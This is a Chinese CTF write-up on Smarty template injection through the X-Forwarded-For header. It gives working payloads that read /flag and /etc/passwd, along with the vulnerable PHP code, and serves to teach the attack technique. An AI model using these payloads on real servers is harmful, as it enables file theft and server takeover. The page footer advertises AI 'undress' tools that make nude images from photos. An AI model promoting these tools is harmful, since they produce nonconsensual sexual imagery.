題目描述
題目提供了一個讀取XFF頭的api ,頁面最下方有Build With Smarty的字樣,可以確定是用Smarty引擎寫的.
基本上可以確定該頁面存在SSTi的可能性
將xff頭從127.0.0.1改為127.0.0{1 2}出現如下結果
ssti無疑了
最終payload是
X-Forwarded-For: {if var_dump(file_get_contents('/flag')) }{/if }
Smarty SSTI 利用
#Smarty是基於PHP開發的,對於Smarty的SSTI的利用手段與常見的flask的SSTI有很大區別。
漏洞確認
一般情況下輸入{$smarty.version}就可以看到回傳的smarty的版本號碼。這個題目的Smarty版本是3.1.30
常規利用方式
Smarty支援使用{php}{/php}標籤來執行被包裹其中的php指令,最常規的思路自然是先測試該標籤。但就該題目而言,使用{php}{/php}標籤會報錯誤:
#在Smarty3的官方手冊裡有以下描述:
Smarty已經廢棄{php}標籤,強烈建議不要使用。在Smarty 3.1,{php}僅在SmartyBC中可用。
該題目使用的是Smarty類,所以只能另尋它路。
{literal}標籤
官方手冊這樣描述這個標籤:
#{literal}可以讓一個模板區域的字元原樣輸出。這常用於保護頁面上的Javascript或css樣式表,避免因為Smarty的定界符而錯被解析。
那麼對於php5的環境我們就可以用
<script>phpinfo();</script>
來實作PHP程式碼的執行,但這題的題目環境是PHP7,這種方法就失效了。
靜態方法
透過self取得Smarty類別再呼叫其靜態方法實作檔案讀寫被網路上很多文章採用。
Smarty類別的getStreamVariable方法的程式碼如下:
public function getStreamVariable($variable) { $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }
可以看到這個方法可以讀取一個檔案並回傳其內容,所以我們可以用self來取得Smarty物件並呼叫這個方法,很多文章裡給的payload都形如:{self::getStreamVariable("file:///etc/passwd")}。然而使用這個payload會觸發報錯如下:
Fatal error: Uncaught --> Smarty Compiler: Syntax error in template "string: Current IP:{self::getStreamVariable('file:///etc/passwd')}" static class 'self' is undefined or not allowed by security setting
可見這個舊版Smarty的SSTI利用方式並不適用於新版本的Smarty。而且在3.1.30的Smarty版本中官方已經把該靜態方法刪除。對於那些文章提到的利用 Smarty_Internal_Write_File 類別的writeFile方法來寫shell也因為同樣的原因無法使用。
{if}標籤
官方文件中看到這樣的描述:
Smarty的{if}
條件判斷和PHP的if 非常相似,只是增加了一些特性。每個{if}
必須有一個配對的{/if}
. 也可以使用{else}
和{elseif}
.全部的PHP條件式和函數都可以在if內使用,如||, or, &&, and, is_array(), 等等
既然全部的PHP函數都可以使用,那麼我們是否可以利用此來執行我們的程式碼呢?
如同開頭所說的
題目漏洞程式碼
透過getshell之後的檔案讀取,本題引發SSTI的程式碼簡化後如下:
<?php require_once('./smarty/libs/' . 'Smarty.class.php'); $smarty = new Smarty(); $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; $smarty->display("string:".$ip); }
可以看到這裡使用字串取代smarty模板,導致了注入的Smarty標籤被直接解析執行,產生了SSTI。
以上是Smarty SSTi怎麼用的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

AI Hentai Generator
免費產生 AI 無盡。

熱門文章

熱工具

SecLists
SecLists是最終安全測試人員的伙伴。它是一個包含各種類型清單的集合,這些清單在安全評估過程中經常使用,而且都在一個地方。 SecLists透過方便地提供安全測試人員可能需要的所有列表,幫助提高安全測試的效率和生產力。清單類型包括使用者名稱、密碼、URL、模糊測試有效載荷、敏感資料模式、Web shell等等。測試人員只需將此儲存庫拉到新的測試機上,他就可以存取所需的每種類型的清單。

WebStorm Mac版
好用的JavaScript開發工具

mPDF
mPDF是一個PHP庫,可以從UTF-8編碼的HTML產生PDF檔案。原作者Ian Back編寫mPDF以從他的網站上「即時」輸出PDF文件,並處理不同的語言。與原始腳本如HTML2FPDF相比,它的速度較慢,並且在使用Unicode字體時產生的檔案較大,但支援CSS樣式等,並進行了大量增強。支援幾乎所有語言,包括RTL(阿拉伯語和希伯來語)和CJK(中日韓)。支援嵌套的區塊級元素(如P、DIV),

VSCode Windows 64位元 下載
微軟推出的免費、功能強大的一款IDE編輯器

DVWA
Damn Vulnerable Web App (DVWA) 是一個PHP/MySQL的Web應用程序,非常容易受到攻擊。它的主要目標是成為安全專業人員在合法環境中測試自己的技能和工具的輔助工具,幫助Web開發人員更好地理解保護網路應用程式的過程,並幫助教師/學生在課堂環境中教授/學習Web應用程式安全性。 DVWA的目標是透過簡單直接的介面練習一些最常見的Web漏洞,難度各不相同。請注意,該軟體中